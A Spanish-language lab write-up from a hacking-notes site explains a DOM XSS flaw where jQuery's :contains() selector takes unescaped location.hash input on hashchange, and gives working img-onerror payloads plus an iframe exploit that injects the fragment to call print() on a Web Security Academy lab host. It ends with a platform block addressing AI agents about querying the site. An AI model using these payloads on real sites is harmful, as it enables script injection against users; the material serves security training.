> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/dom-xss-with-jquery-hashchange-event.md).

# DOM XSS con jQuery y hashchange

### XSS DOM en un selector de destino de jQuery usando un evento hashchange

Este laboratorio contiene una vulnerabilidad XSS del lado del cliente en la página de inicio. El código usa `$()` la función selector de jQuery para dirigir automáticamente un artículo cuyo título se ha pasado a través de `location.hash`. El objetivo del laboratorio es obtener un exploit que, cuando un visitante lo abra, llame a `print()` en su navegador.

{% code overflow="wrap" %}

```javascript
$(window).on('hashchange', function(){
   var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
   if (post) post.get(0).scrollIntoView();
});
```

{% endcode %}

* La función recupera el fragmento de la URL (`window.location.hash`), elimina la `#` por `slice(1)`  y lo decodifica con `decodeURIComponent`.
* Luego, este texto se concatena directamente en un selector jQuery `:contains(...)` Como no hay escape, contenido construido especialmente puede romper la sintaxis e inyectar HTML/JS mediante vectores como `onerror` atributos.
* El código solo activa la acción cuando cambia el hash (`hashchange`), por lo que un enlace inicial simple sin hash no activará nada hasta que el fragmento se cambie del lado del cliente.

<figure><img src="/files/98e5f79f92e9175914e201260af7665187886738" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/575809afbb8f2b13a8e7a88a2601ee374f37e688" alt=""><figcaption></figcaption></figure>

* Aprovechamos el hecho de que la modificación de `#` desencadena el evento. Por lo tanto, el exploit debe forzar que el navegador de la víctima cargue una URL con un fragmento que contenga la carga útil.
* Un método común es usar un `<iframe>` que apunte a la página objetivo, luego, durante `onload`, modificar dinámicamente su `src` para añadir el fragmento malicioso (lo que causará `hashchange` y la ejecución del selector vulnerable).
* La carga útil inyectada debe hacer que `print()` se ejecute en el contexto de la víctima.

Inyección básica para provocar un error de imagen (prueba):

```javascript
#<img src="test" onerror=alert(0)>
```

<figure><img src="/files/ad30722972e5238e76a471e241808ca64556f628" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/35051651f4f933afb88c42fe5e7eb96e3e60d59d" alt=""><figcaption></figcaption></figure>

* Exploit mediante iframe — primera versión (alert):

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=alert(0)>'"></iframe>
```

{% endcode %}

* Exploit final para `print()` (versión adaptada):

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=print()>'"></iframe>
```

{% endcode %}

<figure><img src="/files/89723128c6be84a930f9d2a1079719cbf5d67ffd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/dom-xss-with-jquery-hashchange-event.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
